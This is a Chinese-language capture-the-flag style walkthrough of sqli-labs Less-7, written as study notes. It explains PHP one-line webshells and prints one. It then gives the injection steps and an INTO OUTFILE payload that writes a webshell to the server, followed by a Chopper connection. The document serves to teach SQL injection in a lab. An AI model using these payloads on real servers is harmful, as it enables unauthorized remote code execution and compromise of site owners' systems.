文章目录
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、靶场第七关要了解的相关知识点
- 1.文件上传漏洞是什么?
- 2.一句话木马
- 3.mysql注入点,用工具对目标站写入一句话,需要哪些条件?
- 4.此关卡要了解的函数
- 5.此关要配置的环境
1.文件上传漏洞是什么?
指程序员在编写文件上传的代码中,没有严格的过滤与控制,让恶意用户可以越权上传恶意脚本文件webshell(比如php,asp的一句话木马),实施未经允许的非法操作。
2.一句话木马
一句话木马是黑客比较喜欢用的webshell,因为它简单且功能强大,可以进行好多的操作。
例如
<?php eval(@$_POST['a']); ?>
这个是PHP的一句话木马,其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。
3.mysql注入点,用工具对目标站写入一句话,需要哪些条件?
- root权限
- 网站绝对路径
4.此关卡要了解的函数
- into dumpfile()
- into outfile()
- load_file()
- 详细的函数解释可以去这个网站看,挺详细的https://www.cnblogs.com/7-58/p/14101610.html
5.此关要配置的环境
因为此关用到的函数是有限制的,能否成功执行受到参数 secure_file_priv 的影响。我们要在mysql.ini配置文件中设置这个参数,值为空就行。这样就能成功用相关函数去上传一句话木马了。(配置如图所示)
然后重启phpstudy即可。
二、靶场第七关思路
- 1.判断注入点
- 2.爆字段个数
- 3.找绝对路径
- 4.用into outfile函数写入一句话木马
- 5.菜刀连接
1.判断注入点
老规矩用and 1=1 和 and 1=2测试,发现页面正常,说明不是数字型。(如图1所示)直接提交id=1'
发现页面异常,(如图二所示)再提交id=1"
发现页面正常,初步是单引号闭合。提交id=1'--+
发现还是报错,那么不是简单的单引号闭合,试一试id=1')--+
还是不行,再试试id=1'))--+
发现页面正常了(如图三所示)。说明是单引号加两个括号的闭合(源码如图四所示)。
2.爆字段个数
注入语句为
id=1')) order by 1--+
到4报错,说明有三个字段(如图所示)
3.找绝对路径
(如图所示)由于要得到网站的绝对路径,我这里用靶场第二关来获得绝对路径。@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径。如果自己知道路径可以直接跳下一步。
所以绝对路径是C:/tools/phpstudy_pro/www/sqli-labs/less-7/
4.用into outfile函数写入一句话木马
注入语句为
union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "C://tools//phpstudy_pro//www//sqli-labs//less-7//shell.php"--+
意思是把一句话木马shell.php写到服务器绝对路径中。两个//是防转义(如图一所示)
(如图二所示)发现服务器已经上传了我们写的一句话木马
5.菜刀连接
如图所示,打开菜刀输入我们写入的一句话木马地址和参数,成功进入后门
总结
第七关是全新不一样的关卡,用了sql注入和文件上传漏洞的组合拳,
知道了什么是文件上传漏洞和一句话木马。此外这一关还可以用布尔盲注来通关,这是第二种方法。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!